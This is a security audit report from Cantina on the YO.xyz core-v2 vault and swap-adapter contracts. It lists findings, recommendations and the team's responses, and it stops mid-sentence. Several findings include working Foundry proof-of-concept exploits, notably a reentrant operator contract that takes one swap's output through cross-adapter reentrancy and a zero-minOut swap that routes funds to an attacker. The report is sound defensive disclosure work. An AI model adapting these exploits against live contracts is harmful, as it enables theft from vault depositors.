YO.xyz: core-v2 re-review
Cantina Security Report
Organization
- @yoxyz
Engagement Type
Cantina Reviews
Period
-
Repositories
Researchers
Findings
Medium Risk
1 findings
1 fixed
0 acknowledged
Low Risk
5 findings
0 fixed
5 acknowledged
Informational
5 findings
0 fixed
5 acknowledged
Medium Risk1 finding
Cross-adapter reentrancy can let one swap's output satisfy another swap's balance-delta check
Severity
- Severity: Medium
≈
Likelihood: Low×
Impact: High Submitted by
MostafaYassin
Description
YoSwapAdapter.swap()validates output by measuring the calling vault's globaltokenOutbalance delta across an operator-controlled aggregator call:uint256 vaultOutBefore = outToken.balanceOf(vault);...aggregator.functionCall(aggregatorCalldata);...amountOut = outToken.balanceOf(vault) - vaultOutBefore;if (amountOut < minOut) { revert InsufficientOutput(amountOut, minOut);}That balance belongs to the vault, not to the current swap. If another authorized swap sends the same
tokenOutto the vault while the first adapter is still insideaggregator.functionCall(...), the first adapter can count the second adapter's output as its own.The required call pattern is:
- An authorized operator starts
adapter1.swap(). - The
adapter1route sends its realtokenOutto the operator or another non-vault recipient. - During
adapter1's aggregator call, execution re-entersYoVault.manage()and startsadapter2.swap(). adapter2honestly sendstokenOutto the vault.adapter2passes its own output check.- Control returns to
adapter1, which sees the vault's balance increased byadapter2and also passes.
The result is that the vault pays
tokenInfor both swaps but receivestokenOutfor only one swap; the other swap's output is redirected away from the vault.This is a low-severity issue because it requires a malicious or compromised authorized operator and a callable authorization context during the aggregator callback. A normal EOA operator's permissions do not automatically carry into aggregator execution. The issue becomes reachable if the authorized operator is a contract, or if an authorized EOA uses EIP-7702 delegated code and the aggregator calls back into that account so the nested
YoVault.manage()call hasmsg.sender == operator.Preconditions
- The operator is authorized for
YoVault.manage(address,bytes,uint256)to callswap()on both adapter instances. - The aggregator route can call back into the authorized operator context before returning.
Proof of Concept
// SPDX-License-Identifier: MITpragma solidity 0.8.34; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { YoSwapAdapter } from "src/adapters/swap/YoSwapAdapter.sol";import { IYoSwapAdapter } from "src/interfaces/IYoSwapAdapter.sol";import { IYoSwapOracle } from "src/interfaces/IYoSwapOracle.sol";import { IYoSwapPairRegistry } from "src/interfaces/IYoSwapPairRegistry.sol";import { YoVault } from "src/YoVault.sol"; import { YoVaultBase_Test } from "../../yo-vault/YoVaultBase.t.sol"; contract CrossAdapterSwapReentrancyOracleCheckedPoCTest is YoVaultBase_Test { uint256 internal constant AMOUNT_IN = 1000e6; uint256 internal constant FAIR_OUT = 1000e6; YoSwapAdapter internal adapter1; YoSwapAdapter internal adapter2; ReentrantSwapAggregator internal reentrantAggregator; ReentrantSwapOperator internal operator; function setUp() public override { super.setUp(); reentrantAggregator = new ReentrantSwapAggregator(); adapter1 = new YoSwapAdapter({ _aggregator: address(reentrantAggregator), _oracle: IYoSwapOracle(address(mockOracle)), _registry: IYoSwapPairRegistry(address(pairRegistry)), _maxSlippageBps: defaults.MAX_SLIPPAGE_BPS(), _yoRegistry: yoRegistry }); adapter2 = new YoSwapAdapter({ _aggregator: address(reentrantAggregator), _oracle: IYoSwapOracle(address(mockOracle)), _registry: IYoSwapPairRegistry(address(pairRegistry)), _maxSlippageBps: defaults.MAX_SLIPPAGE_BPS(), _yoRegistry: yoRegistry }); operator = new ReentrantSwapOperator(yoVault, address(reentrantAggregator), address(adapter1)); _allowPair(address(yoVault), address(usdc), address(usdt)); mockOracle.setQuote(address(usdc), address(usdt), defaults.ORACLE_QUOTE_1_TO_1()); _setApproval(address(yoVault), address(usdc), address(adapter1), AMOUNT_IN); _setApproval(address(yoVault), address(usdc), address(adapter2), AMOUNT_IN); vm.startPrank(users.owner); yoVault.approveToken(address(usdc), address(adapter1), AMOUNT_IN); yoVault.approveToken(address(usdc), address(adapter2), AMOUNT_IN); vm.stopPrank(); _authorize(address(operator), address(yoVault), MANAGE_SINGLE_SELECTOR); _authorize(address(operator), address(adapter1), IYoSwapAdapter.swap.selector); _authorize(address(operator), address(adapter2), IYoSwapAdapter.swap.selector); usdc.mint(address(yoVault), 2 * AMOUNT_IN); usdt.mint(address(reentrantAggregator), 2 * FAIR_OUT); } function test_PoC_OracleCheckedCrossAdapterReentrancyDoubleCountsNestedSwapOutput() external { operator.setReentry(address(adapter2), _honestSwapCalldataFor(address(adapter2))); uint256 vaultUsdcBefore = usdc.balanceOf(address(yoVault)); uint256 vaultUsdtBefore = usdt.balanceOf(address(yoVault)); uint256 operatorUsdtBefore = usdt.balanceOf(address(operator)); uint256 adapter1Reported = operator.attack(_maliciousSwapCalldata()); assertEq(operator.lastReentryAmountOut(), FAIR_OUT, "adapter2 reports honest output"); assertEq(adapter1Reported, FAIR_OUT, "adapter1 counts adapter2 output"); assertEq(usdc.balanceOf(address(yoVault)), vaultUsdcBefore - 2 * AMOUNT_IN, "vault pays both swap inputs"); assertEq(usdt.balanceOf(address(yoVault)), vaultUsdtBefore + FAIR_OUT, "vault receives one swap output"); assertEq(usdt.balanceOf(address(operator)), operatorUsdtBefore + FAIR_OUT, "operator receives stolen output"); assertEq(usdc.balanceOf(address(adapter1)), 0, "adapter1 has no tokenIn dust"); assertEq(usdc.balanceOf(address(adapter2)), 0, "adapter2 has no tokenIn dust"); assertEq(usdt.balanceOf(address(adapter1)), 0, "adapter1 has no tokenOut dust"); assertEq(usdt.balanceOf(address(adapter2)), 0, "adapter2 has no tokenOut dust"); } function test_SameAdapterReentryIsBlockedByAdapterLocalGuard() external { operator.setReentry(address(adapter1), _honestSwapCalldataFor(address(adapter1))); vm.expectRevert(); operator.attack(_maliciousSwapCalldata()); } function _maliciousSwapCalldata() internal view returns (bytes memory) { bytes memory aggregatorCalldata = abi.encodeCall( ReentrantSwapAggregator.executeMalicious, (address(usdc), address(usdt), AMOUNT_IN, FAIR_OUT, address(operator), address(operator)) ); return abi.encodeCall( IYoSwapAdapter.swap, (address(usdc), address(usdt), AMOUNT_IN, FAIR_OUT, type(uint256).max, aggregatorCalldata) ); } function _honestSwapCalldataFor(address) internal view returns (bytes memory) { bytes memory aggregatorCalldata = abi.encodeCall(ReentrantSwapAggregator.executeHonest, (address(usdc), address(usdt), AMOUNT_IN, FAIR_OUT)); return abi.encodeCall( IYoSwapAdapter.swap, (address(usdc), address(usdt), AMOUNT_IN, FAIR_OUT, type(uint256).max, aggregatorCalldata) ); }} contract ReentrantSwapAggregator { using SafeERC20 for IERC20; function executeHonest(address tokenIn, address tokenOut, uint256 amountIn, uint256 amountOut) external { IERC20(tokenIn).safeTransferFrom(msg.sender, address(this), amountIn); IERC20(tokenOut).safeTransfer(msg.sender, amountOut); } function executeMalicious( address tokenIn, address tokenOut, uint256 amountIn, uint256 amountOut, address executor, address dstReceiver ) external { IERC20(tokenIn).safeTransferFrom(msg.sender, address(this), amountIn); IReentrantSwapExecutor(executor).execute(); IERC20(tokenOut).safeTransfer(dstReceiver, amountOut); }} interface IReentrantSwapExecutor { function execute() external;} contract ReentrantSwapOperator is IReentrantSwapExecutor { YoVault internal immutable vault; address internal immutable aggregator; address internal immutable adapter1; address internal reenterAdapter; bytes internal reenterCalldata; bool internal entered; uint256 public lastReentryAmountOut; constructor(YoVault _vault, address _aggregator, address _adapter1) { vault = _vault; aggregator = _aggregator; adapter1 = _adapter1; } function setReentry(address adapter, bytes calldata data) external { reenterAdapter = adapter; reenterCalldata = data; } function attack(bytes calldata adapter1SwapCalldata) external returns (uint256 adapter1Reported) { entered = false; lastReentryAmountOut = 0; bytes memory ret = vault.manage(adapter1, adapter1SwapCalldata, 0); adapter1Reported = abi.decode(ret, (uint256)); } function execute() external { require(msg.sender == aggregator, "only aggregator"); if (entered) return; entered = true; bytes memory ret = vault.manage(reenterAdapter, reenterCalldata, 0); lastReentryAmountOut = abi.decode(ret, (uint256)); }}tests/integration/concrete/swap-adapter/swap/crossAdapterReentrancyOracleCheckedPoC.t.solRecommendation
Do not use the vault's global
tokenOutbalance delta as the accounting boundary for a swap. Require routes to send output to the adapter, record the adapter'stokenOutbalance before and after the aggregator call, transfer only the current-call adapter output delta to the vault, and enforceadapterOutDelta >= minOut.In addition to that, consider adding a non-reentrant modifier to
manage()Yo: This is the commit that contains the fix and a test against the reported finding: https://github.com/yoprotocol/core-v2/commit/7b023145cc99bc424e57ffa554584c609a1ecb30
Cantina: Verified fixes.
Low Risk5 findings
Operator-trusted swaps can succeed with zero vault output when minOut is zero
State
- Acknowledged
Severity
- Severity: Low
≈
Likelihood: Low×
Impact: Low Submitted by
MostafaYassin
Description
YoSwapAdapter.swap()forwards fully operator-controlledaggregatorCalldatato the immutable aggregator and validates success only after execution by measuring the calling vault'stokenOutbalance delta:aggregator.functionCall(aggregatorCalldata); uint256 adapterOut = outToken.balanceOf(address(this));if (adapterOut > 0) { outToken.safeTransfer(vault, adapterOut);} amountOut = outToken.balanceOf(vault) - vaultOutBefore;...if (amountOut < minOut) { revert InsufficientOutput(amountOut, minOut);}In
ORACLE_CHECKEDmode,minOutis constrained by the oracle floor. InOPERATOR_TRUSTEDmode, the oracle branch is skipped andminOutis the only on-chain output bound. The adapter does not rejectminOut == 0.As a result, an authorized swap route with
minOut = 0can spend the vault'stokenIn, route alltokenOutto an arbitrary recipient encoded in aggregator calldata, and still pass because the measured vault output is0, which is not less thanminOut.Proof of Concept
contract SwapMinOutZeroPoCTest is Integration_Test { function _execCalldata(uint256 amountIn) internal pure returns (bytes memory) { return abi.encodeWithSelector(MockOneInchRouter.execute.selector, amountIn); } function test_PoC_MinOutZeroAllowsSwapWithNoVaultOutput() external { _allowPairTrusted(users.vault, address(usdc), address(usdt)); uint256 amountIn = defaults.SWAP_AMOUNT_IN(); mockAggregator.setSwap(address(usdc), address(usdt), amountIn, users.eve); uint256 vaultUsdcBefore = usdc.balanceOf(users.vault); uint256 vaultUsdtBefore = usdt.balanceOf(users.vault); uint256 eveUsdtBefore = usdt.balanceOf(users.eve); vm.prank(users.vault); uint256 amountOut = swapAdapter.swap(address(usdc), address(usdt), amountIn, 0, type(uint256).max, _execCalldata(amountIn)); assertEq(amountOut, 0, "adapter accepts zero vault output"); assertEq(usdc.balanceOf(users.vault), vaultUsdcBefore - amountIn, "vault spent tokenIn"); assertEq(usdt.balanceOf(users.vault), vaultUsdtBefore, "vault received no tokenOut"); assertEq(usdt.balanceOf(users.eve), eveUsdtBefore + amountIn, "attacker received tokenOut"); }}Recommendation
Reject zero-output swaps:
if (minOut == 0) revert InvalidMinOut();Yo: Acknowledged. The pairs that are and will be configured as operator-trusted only involve exotic assets that are harvested as rewards.
Cantina: Acknowledged.
Queued redemptions settle at the request-time price: fulfillRedeem can socialize losses or leave totalPendingAssets stale
State
- Acknowledged
Severity
- Severity: Low
≈
Likelihood: Low×
Impact: Medium Submitted by
Alireza Arjmand
Description
requestRedeemsnapshots the payout at the request-time oracle price intopending.assetsandtotalPendingAssets(src/YoVault.sol#L206-L209), viasuper.previewRedeem(shares)(#L193).fulfillRedeemthen pays an operator-suppliedassetsWithFee ≤ pending.assetsand decrements both fields by that amount (#L223-L225); it never re-queries the oracle. So the settlement price is the operator's choice, up to the request-time value, which creates two distinct hazards when the share price falls between request and fulfillment.Impact
- (1) Settle at the original (higher) price: queued users exit at the stale price and the shortfall is socialized onto the remaining holders, which favors early exiters. This is especially dangerous if the underlying protocol is hacked or depegs: anyone who queued before the drop can be paid at the pre-drop value, draining honest remaining holders.
- (2) Settle at the new (lower) price: the request was recorded at the higher amount but only the lower amount is decremented, so
pending.assets/totalPendingAssetskeep a residual even though the user's obligation is fully met.totalPendingAssetsstays non-zero with no outstanding withdrawal, over-reserving liquidity (_getAvailableBalanceunderstated) until someone callscancelRedeempurely to zero it out, which is unintuitive.
Operator-gated and conditional on a price drop, hence Low. However, case (1) can cause material loss during an underlying-protocol incident.
Recommendation
Store
sharesin the pending request and compute the payout from the current oracle price atfulfillRedeem, capped at the request-time amount (users never get more than quoted; remaining holders are not diluted on a drop). ReconciletotalPendingAssetsagainst the actually-settled amount so it returns to zero when no obligation remains, without requiring a separatecancelRedeem. Document the intended settlement-price policy explicitly.Yo: Acknowledged. This is a design decision mentioned in our docs.
Cantina: Acknowledged.
Queued redemption shares stay in totalSupply, so totalAssets() values them at the live price instead of their locked claim
State
- Acknowledged
Severity
- Severity: Low
≈
Likelihood: Medium×
Impact: Medium Submitted by
Alireza Arjmand
Description
When a redemption is queued,
requestRedeemescrows the shares by transferring them to the vault (it does not burn them) and records the claim at the request-time price (src/YoVault.sol#L204-L209). Those shares therefore remain intotalSupply.totalAssets()is computed astotalSupply * oraclePrice / 10**decimals(src/YoVault.sol#L276-L279), so it values the escrowed shares at the current oracle price even though their payout is locked at the (lower) request-time price. Once the price rises after a redemption is queued,totalAssets()reports more than the protocol's real backing, overstating it by exactly the queued shares' appreciation.Impact
totalAssets()overstates real assets byqueuedShares * (currentPrice - lockedPrice). Any consumer that trusts it gets a wrong value: integrators, dashboards, accounting layers, and most importantly an off-chain price updater that derives the share price from a NAV-over-supply computation.- If the updater prices live shares correctly (attributing the gain only to non-queued holders),
totalAssets()simply overstates AUM, creating a reported-versus-real solvency gap. - If the updater derives the price from a
totalSupply-inclusive NAV, the gain is diluted across the queued shares (whose claim is capped), so live holders are under-rewarded and the surplus is stranded or handed to later entrants. - The on-chain mint and redeem paths use the oracle price directly (not
totalAssets), so a new depositor is priced fairly at the oracle and is not harmed bytotalAssets()in isolation. The harm flows through whatever consumestotalAssets()/ the derived NAV. - This is most dangerous during an underlying-protocol incident: if real backing drops, the queued shares are still valued at the stale-high price inside
totalAssets(), widening the gap between reported and real value.
Proof of Concept
Alice and Bob deposit 10 each at 1:1. The operator deploys 15 into a strategy so the vault is illiquid, then Bob queues a redemption (claim locked at 10). 30 assets are donated and the oracle price quadruples.
totalAssets()reports80while real backing is50; the30phantom equals Bob's 10 queued shares revalued at 4 minus his locked claim of 10. Charlie then deposits and is priced at the oracle (4:1), confirming the harm is the misstated NAV, not Charlie's mint.// SPDX-License-Identifier: MITpragma solidity 0.8.34; import { Test } from "forge-std/src/Test.sol";import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";import { YoVault } from "src/YoVault.sol"; contract QueuedSharesTotalAssetsPoC is Test { address internal constant ORACLE = 0x6E879d0CcC85085A709eBf5539224f53d0D396B0; // YoVault.ORACLE_ADDRESS YoVault internal vault; MockAsset internal asset; address internal owner = makeAddr("owner"); address internal alice = makeAddr("alice"); address internal bob = makeAddr("bob"); address internal charlie = makeAddr("charlie"); address internal strategy = makeAddr("strategy"); // models deployed (illiquid) funds function setUp() public { asset = new MockAsset(); MockOracle mock = new MockOracle(); vm.etch(ORACLE, address(mock).code); MockOracle(ORACLE).setPrice(1e18); // 1e18 == 1 asset per share (vault is 18 decimals) YoVault impl = new YoVault(); bytes memory initData = abi.encodeCall(YoVault.initialize, (IERC20(address(asset)), owner, "yoVault", "yoV")); vault = YoVault(payable(address(new ERC1967Proxy(address(impl), initData)))); } function _deposit(address who, uint256 assets) internal returns (uint256 shares) { asset.mint(who, assets); vm.startPrank(who); asset.approve(address(vault), assets); shares = vault.deposit(assets, who); vm.stopPrank(); } function test_totalAssets_overstates_queued_shares() public { // 1) Alice and Bob each deposit 10 at 1:1 -> 10 shares each. assertEq(_deposit(alice, 10e18), 10e18); assertEq(_deposit(bob, 10e18), 10e18); assertEq(vault.totalSupply(), 20e18); // 2) Operator deploys 15 into a strategy, leaving the vault illiquid (5 < 10). vm.prank(address(vault)); asset.transfer(strategy, 15e18); assertEq(asset.balanceOf(address(vault)), 5e18); // 3) Bob queues a redemption; illiquid vault -> async path, claim locked at 10. vm.prank(bob); assertEq(vault.requestRedeem(10e18, bob, bob), 0, "expected async REQUEST_ID"); (uint256 bobClaim,) = vault.pendingRedeemRequest(bob); assertEq(bobClaim, 10e18, "claim locked at request-time price"); assertEq(vault.totalSupply(), 20e18, "queued shares remain in totalSupply"); assertEq(vault.balanceOf(address(vault)), 10e18, "escrowed shares held by the vault"); // 4) 30 assets are donated / earned. asset.mint(address(vault), 30e18); // 5) Oracle price quadruples. MockOracle(ORACLE).setPrice(4e18); // Real backing = vault 35 + strategy 15 = 50. uint256 realBacking = asset.balanceOf(address(vault)) + asset.balanceOf(strategy); assertEq(realBacking, 50e18); // totalAssets() = totalSupply * price = 20 * 4 = 80, overstating reality by 30. assertEq(vault.totalAssets(), 80e18); assertGt(vault.totalAssets(), realBacking); assertEq(vault.totalAssets() - realBacking, 30e18, "phantom value from queued shares"); // The phantom = Bob's queued shares revalued at the new price minus his locked claim. assertEq(vault.convertToAssets(10e18), 40e18); assertEq(vault.convertToAssets(10e18) - bobClaim, 30e18); // 6) Mint uses the oracle price directly, so Charlie is priced fairly (4:1): the harm is the // misstated totalAssets/NAV, not Charlie's mint. assertEq(_deposit(charlie, 4e18), 1e18, "charlie priced at oracle, independent of totalAssets"); }} contract MockAsset is ERC20 { constructor() ERC20("Mock", "MOCK") { } function mint(address to, uint256 amount) external { _mint(to, amount); }} contract MockOracle { uint256 public price; function setPrice(uint256 p) external { price = p; } function getLatestPrice(address) external view returns (uint256, uint64) { return (price, uint64(block.timestamp)); }}Recommendation
Exclude escrowed (queued) shares from the live-NAV term and account for them at their locked claim. For example:
totalAssets() = (totalSupply() - balanceOf(address(this))) * price / 10**decimals() + totalPendingAssets;which values live shares at the oracle price and queued shares at their locked claims (with the PoC numbers this returns
50, matching real backing). Alternatively, burn shares at request time rather than escrowing them, so they leavetotalSupplyand the obligation is tracked solely viatotalPendingAssets. At minimum, document thattotalAssets()is not real backing and ensure the off-chain price updater excludes queued shares and their locked claims from its computation.Yo: Acknowledged.
Cantina: While this issue is acknowledged, Yo should be (1) very strict in managing oracle prices (2) not let the redemption queue get too big in comparison to the size of the assets invested in the protocol. This issue can at times cause either overvaluing or undervaluing of the users buying new shares from the protocol. Yo has confirmed that they have ongoing monitoring in place and make sure such scenarios won't happen.
Gateway redeem skips minAssetsOut on the async path
State
- Acknowledged
Severity
- Severity: Low
≈
Likelihood: Low×
Impact: Medium Submitted by
Alireza Arjmand
Description
YoGateway.redeemenforcesminAssetsOutonly when the redemption is instant (src/YoGateway.sol#L99-L104). When the vault is illiquid,requestRedeemescrows the shares and returnsREQUEST_ID(0), soinstant == falseand the guard is skipped. The shares are already pulled and queued, the payout is set by the operator atfulfillRedeem, andminAssetsOutis neither stored nor emitted, so nothing (on-chain or off-chain) upholds the caller's floor on the async path.Recommendation
Emit
minAssetsOuton the async path (extendYoGatewayRedeemor add a dedicated event) so off-chain operators can honor it, or enforce it on-chain atfulfillRedeemby storing it with the request. Document thatminAssetsOutis otherwise instant-path only.Yo: Acknowledged.
Cantina: Acknowledged.
removeYoVault calls the vault's asset() and can be bricked by a malicious or broken vault
State
- Acknowledged
Severity
- Severity: Low
≈
Likelihood: Low×
Impact: Low Submitted by
Alireza Arjmand
Description
removeYoVaultcallsIERC4626(vaultAddress).asset()purely to populate theYoVaultRemovedevent (src/YoRegistry.sol#L62-L63). Because that is an external call to the very contract being removed, a vault whoseasset()reverts (upgraded to revert, self-destructed, or otherwise broken) makes the whole transaction revert, which rolls back the_vaults.removeand leaves the vault permanently un-removable. De-listing should be unconditional and must not depend on any call to the underlying vault.Recommendation
Drop the
asset()call fromremoveYoVault: emitYoVaultRemovedwith onlyvaultAddress, or cache the asset inaddYoVaultand emit the cached value. At minimum, wrap the read intry/catchso a reverting vault cannot block removal.Yo: Acknowledged. The addition of a new vault is behind a globally distributed multisig and a timelock. Only valid yoVaults are being added in the registry.
Cantina: Acknowledged.
Informational5 findings
Protocol Trust Assumptions
State
- Acknowledged
Severity
- Severity: Informational
≈
Likelihood: Low×
Impact: Low Submitted by
MostafaYassin
The list below includes trust assumptions made during the security review. While this report covers many key points, it is not exhaustive.
Redemption queue (YoVault)
1.
requestRedeem(shares, receiver, owner)is keyed byreceiverReferences:
src/YoVault.sol:187-211src/YoVault.sol:236-247src/YoGateway.sol:92-99
requestRedeem(shares, receiver, owner)only enforcesowner == msg.sender. The pending redemption is keyed byreceiver, andcancelRedeem(receiver, ...)returns escrowed shares toreceiver, not to the fundingowner.If
owner != receiver, the caller must accept that the receiver keeps the shares if the request is canceled. Otherwise, callers must passowner == receiver.This is the same ownership mix-up exposed through
YoGateway.redeem(): the gateway pulls shares from the user, then queues withrequestRedeem(shares, receiver, address(this)). If the queued request is canceled, the user-supplied payout receiver gets the escrowed shares, not the original user who funded the redemption.2.
fulfillRedeem(receiver, shares, assetsWithFee)trusts the operator to pass a proportional pairReferences:
src/YoVault.sol:218-229
fulfillRedeem(receiver, shares, assetsWithFee)lets the operator supplysharesandassetsWithFeeindependently. The only bounds are:shares <= pending.shares;assetsWithFee <= pending.assets;There is no on-chain ratio check between the two values. The operator must pass a proportional pair. If it does not, the call can strand pending shares or pending assets and leave accounting that cannot be cleanly fulfilled or canceled.
3. Fulfillment amount and timing are operator-driven
References:
src/YoVault.sol:206-211src/YoVault.sol:218-229src/YoVault.sol:236-247
Queued redemption payout is whatever the operator passes to
fulfillRedeem, bounded only byassetsWithFee <= pending.assets. The operator must pay the economically correct amount across NAV moves, and must actually callfulfillRedeemorcancelRedeem.There is no autonomous liveness guarantee. Once shares are escrowed, users depend on authorized operators to settle or cancel the request.
4. Queued redemptions do not snapshot withdrawal fee terms
References:
src/YoVault.sol:193-209src/YoVault.sol:252-270src/YoVault.sol:402-421
When a redemption queues, the vault records pending shares and gross assets, but it does not record the withdrawal fee or fee recipient active at request time. At fulfillment,
_withdraw()uses the currentfeeOnWithdrawandfeeRecipient.Queued users therefore accept future fee terms after they have already given up control of their shares.
Strategy execution (manage)
5.
manage(target, data, value)gates only(target, selector)References:
src/YoVault.sol:100-115src/YoVault.sol:121-139src/interfaces/IMorpho.sol:50
manage(target, data, value)checks only that the caller is authorized for the target and selector. The calldata arguments, amounts, recipients, and route-specific semantics are not constrained byYoVault.The operator must send correct calldata, amounts, and routing.
Concrete Morpho setup example: onboarding expects the vault to call
IMorpho.setAuthorization(address(YoMorphoAdapter), true). If a hot operator is grantedmanage()access to the MorphosetAuthorizationselector, the operator can instead forward calldata that authorizes an attacker-controlled address. Because Morpho authorizations are keyed bymsg.sender, the attacker becomes authorized for theYoVault's Morpho positions.6. Liquidity buffer is operator-maintained
References:
src/YoVault.sol:100-115src/YoVault.sol:195-211src/YoVault.sol:455-458
The operator may deploy the whole liquid balance through authorized strategy calls. There is no on-chain reserved floor that forces a minimum liquid balance to remain available for instant redemptions.
The operator must leave enough liquid assets for expected instant redemption demand.
7.
approveToken(token, spender, amount)trusts operator-chosen spender and amount within registry capsReferences:
src/YoVault.sol:147-158src/registries/YoApprovalRegistry.sol:24-34
approveToken(token, spender, amount)is bounded by the approval registry cap, but the operator still chooses the spender and amount inside that cap.The registry owner must configure caps conservatively, and operators must avoid granting unnecessary live allowances.
Oracle / updater (YoOracle)
8.
updateSharePrice(vault, price)trusts off-chain NAV computationReferences:
src/YoOracle.sol:81-121src/YoVault.sol:275-284src/YoVault.sol:322-333
The updater must compute the correct NAV per share, including funds sitting in adapters and strategies, and must push updates on time.
There is no on-chain holdings reconciliation that proves the pushed price matches actual strategy balances, and downstream vault logic relies on the updater being correct.
9. Genesis price is unvalidated
References:
src/YoOracle.sol:90-99
The first oracle push seeds the initial price. That first value is not validated against on-chain holdings.
The updater must seed a correct initial price.
Adapters (operator inputs / lifecycle)
10. Swap adapter trusts aggregator calldata and
minOutReferences:
src/adapters/swap/YoSwapAdapter.sol:56-117src/registries/YoSwapPairRegistry.sol:24-42
YoSwapAdapteraccepts operator-suppliedaggregatorCalldataandminOut. InOPERATOR_TRUSTEDmode, the oracle floor is skipped andminOutcan be zero.The operator must route
tokenOutto the vault or adapter and must ensure the aggregator consumes exactlyamountIn.If the route sends output to another address and
minOut == 0, the vault can spendtokenInwhile receiving zerotokenOut, and the adapter-level check still passes.11. IPOR adapter lifecycle is operator-driven
References:
src/interfaces/IYoIPORAdapter.sol:9-28src/interfaces/external/IIPORWithdrawManager.sol:4-24src/adapters/ipor/YoIPORAdapter.sol:69-80
YoIPORAdapter.claim(shares)is not cross-checked against the pending request.requestSharesis driven outside the adapter viamanage.The operator must not double-request in a way that overwrites request state, and must claim within the valid window.
12. Lido adapter lifecycle is operator-driven
References:
src/interfaces/IYoLidoAdapter.sol:9-18src/adapters/lido/YoLidoAdapter.sol:101-130src/adapters/lido/YoLidoAdapter.sol:138-158
YoLidoAdapterrequires the operator to drive the multi-step unstake lifecycle correctly: request, wait for finalization, and claim with the correctrequestId.The operator must ensure withdrawal queue NFT approval is set and must not claim before finalization.
13. ERC4626 and IPOR adapters trust registry asset compatibility
References:
src/registries/YoERC4626VaultRegistry.sol:21-31src/adapters/erc4626/YoERC4626Adapter.sol:36-51src/adapters/ipor/YoIPORAdapter.sol:39-61
The adapters do not independently prove that the yield vault asset matches the YO vault asset.
The registry must only allow asset-compatible ERC4626/IPOR vaults.
Owner config (trusted setup)
14. Owner-controlled configuration must be correct
References:
src/registries/YoApprovalRegistry.sol:24-34src/registries/YoERC4626VaultRegistry.sol:21-31src/registries/YoMorphoMarketRegistry.sol:22-32src/registries/YoSwapPairRegistry.sol:24-42src/YoOracle.sol:56-72src/YoVault.sol:163-166src/YoVault.sol:268-270src/base/AuthUpgradeable.sol:70-86
Trusted setup includes registries, allowlists, approval caps, swap
PairMode, oracle feeds, heartbeat settings,maxChangeBps, andfeeRecipient.The owner must configure:
- Allowlists and approval caps conservatively.
- Oracle feeds, heartbeat, and max-change limits correctly.
feeRecipientto an address that can receive the asset, otherwise fee-bearing operations can DoS.- A non-zero authority, otherwise
managecan be bricked. - Ownership transfer to a non-zero address.
15.
yoUSDTdepends on off-chain liquidity managementReferences:
src/yoUSDT.sol:15-19src/yoUSDT.sol:34-45
yoUSDTrelays 95% of deposits out. The operator must reclaim or top up liquidity off-chain to fund redemptions.There is no on-chain guarantee that enough USDT remains locally available when users redeem.
Scope and Code overview
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Alireza Arjmand
Scope
src/├── adapters/│ ├── base/YoAdapterBase.sol│ ├── erc4626/YoERC4626Adapter.sol│ ├── fxsave/YoFxSaveAdapter.sol│ ├── fxsave/YoFxSaveRedeemer.sol│ ├── ipor/YoIPORAdapter.sol│ ├── lido/YoLidoAdapter.sol│ ├── morpho/YoMorphoAdapter.sol│ ├── swap/YoSwapAdapter.sol│ └── yousdt/YoUSDTAdapter.sol├── oracles/YoChainlinkOracle.sol└── YoVault.sol (approveToken + setApprovalRegistry only)Plus, in
src/YoVault.sol(partial — only these two functions and their associated events/errors):approveToken(address token, address spender, uint256 amount)setApprovalRegistry(IYoApprovalRegistry newRegistry)
Partially reviewed as trust dependencies but not mentioned in scope: the registry contracts (
YoApprovalRegistry,YoERC4626VaultRegistry,YoMorphoMarketRegistry,YoSwapPairRegistry,YoRegistry),ChainlinkCompositeAggregatorand the Chainlink feeds, theRolesAuthoritywired tomanage, and the external protocols themselves (Morpho Blue, Lido, fxSavingFxUSD/FxUSDBasePool, IPOR Fusion, ERC-4626 venues, swap aggregators).Code Overview
YO is an oracle-priced ERC-4626 vault protocol; the in-scope contracts are how a vault deploys idle capital into external venues and pulls it back. They share one design: each adapter is immutable, stateless, and shared across vaults, invoked only via
YoVault.manage(...)— somsg.senderis the calling vault, which the adapter forces as owner/recipient of every position, pulling funds within a pre-granted allowance and returning them in the same transaction (holding nothing in between).Adapters (shared base
YoAdapterBase:rescue/rescueETH+ reentrancy guard):YoERC4626Adapter— deposit/withdraw into allowlisted ERC-4626 vaults (MetaMorpho, Yearn v3, …).YoIPORAdapter— deposit + async claim (redeemFromRequest) for IPOR Fusion PlasmaVaults.YoLidoAdapter— stake WETH→stETH, request unstake (→ withdrawal NFT), claim NFT→WETH.YoMorphoAdapter— supply/withdraw on the Morpho Blue singleton (per-vault market allowlist).YoFxSaveAdapter(+YoFxSaveRedeemer) — fxSAVE instant (fee) / cooldown redeem; a per-vault CREATE2 redeemer isolates locked positions.YoSwapAdapter— aggregator swaps (1inch/Odos/…); output verified by vault balance-delta ≥minOut, with an oracle floor onORACLE_CHECKEDpairs.YoUSDTAdapter— standalone USDT→yoUSDT-vault forwarder; the outlier (notmanage-gated, no shared base).
Approval (in-scope
YoVaultfunctions):approveToken— sets a vault→spender allowance, capped byYoApprovalRegistry(amount0always allowed, so allowances can be revoked).setApprovalRegistry— points the vault at that registry (zero address disables it).
Oracle:
YoChainlinkOracle— Chainlink USD feeds per asset with heartbeat/staleness checks;getQuoteproduces the quote that setsYoSwapAdapter's slippage floor (feeds may be native or the composite aggregator).
redeem() returns REQUEST_ID instead of assets which makes the contracts not ERC-4626 compliant
State
- Acknowledged
Severity
- Severity: Informational
≈
Likelihood: Low×
Impact: Low Submitted by
Alireza Arjmand
Description
redeem()delegates torequestRedeem(src/YoVault.sol#L313-L315). On the async path it returnsREQUEST_ID(=0) and transfers no assets synchronously (src/YoVault.sol#L211). ERC-4626 requiresredeemto return the assets sent toreceiverand to transfer them in the same call, so a0return (indistinguishable from "zero redeemed", with no funds moved) can break integrators that expect ERC-4626 semantics.The Yo team confirmed the vault isn't fully ERC-4626 compliant due to async redemption. The ERC4626 spec, however, anticipates this:
Note that some implementations will require pre-requesting to the Vault before a withdrawal may be performed. Those methods should be performed separately.
Recommendation
Track pending redemptions in a separate (non-standard) request function, and let
